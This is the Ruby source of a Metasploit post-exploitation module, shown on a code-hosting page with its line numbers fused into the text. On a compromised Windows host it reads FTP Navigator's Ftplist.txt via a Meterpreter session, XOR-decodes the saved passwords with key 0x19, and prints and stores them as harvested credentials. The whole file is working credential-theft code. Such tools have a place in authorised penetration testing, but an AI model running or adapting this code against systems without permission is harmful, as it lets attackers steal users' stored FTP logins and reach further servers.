Path: blob/master/modules/post/windows/gather/credentials/ftpnavigator.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows Gather FTP Navigator Saved Password Extraction',14'Description' => %q{15This module extracts saved passwords from the FTP Navigator FTP client.16It will decode the saved passwords and store them in the database.17},18'License' => MSF_LICENSE,19'Author' => ['theLightCosine'],20'Platform' => [ 'win' ],21'SessionTypes' => [ 'meterpreter' ],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [],25'Reliability' => []26},27'Compat' => {28'Meterpreter' => {29'Commands' => %w[30core_channel_eof31core_channel_open32core_channel_read33core_channel_write34]35}36}37)38)39end4041def run42key = 'HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\FTP Navigator_is1\\'43val_name = 'InstallLocation'44installdir = registry_getvaldata(key, val_name) || 'c:\\FTP Navigator\\'4546path = "#{installdir}Ftplist.txt"4748begin49ftplist = client.fs.file.new(path, 'r')50rescue Rex::Post::Meterpreter::RequestError => e51print_error("Unable to open Ftplist.txt: #{e}")52print_error('FTP Navigator May not Ne Installed')53return54end5556lines = ftplist.read.split("\n")57lines.each do |line|58next if line.include? 'Anonymous=1'59next unless line.include? ';Password='6061dpass = ''62username = ''63server = ''64port = ''6566line.split(';').each do |field|67next if field.include? 'SavePassword'6869if field.include? 'Password='70epass = split_values(field)71dpass = decode_pass(epass)72elsif field.include? 'User='73username = split_values(field)74elsif field.include? 'Server='75server = split_values(field)76elsif field.include? 'Port='77port = split_values(field)78end79end8081print_good("Host: #{server} Port: #{port} User: #{username} Pass: #{dpass}")82service_data = {83address: Rex::Socket.getaddress(server),84port: port,85protocol: 'tcp',86service_name: 'ftp',87workspace_id: myworkspace_id88}8990credential_data = {91origin_type: :session,92session_id: session_db_id,93post_reference_name: refname,94username: username,95private_data: dpass,96private_type: :password97}9899credential_core = create_credential(credential_data.merge(service_data))100101login_data = {102core: credential_core,103access_level: 'User',104status: Metasploit::Model::Login::Status::UNTRIED105}106107create_credential_login(login_data.merge(service_data))108end109end110111def split_values(field)112values = field.split('=', 2)113return values[1]114end115116def decode_pass(encoded)117decoded = ''118encoded.unpack('C*').each do |achar|119decoded << (achar ^ 0x19)120end121return decoded122end123end124125126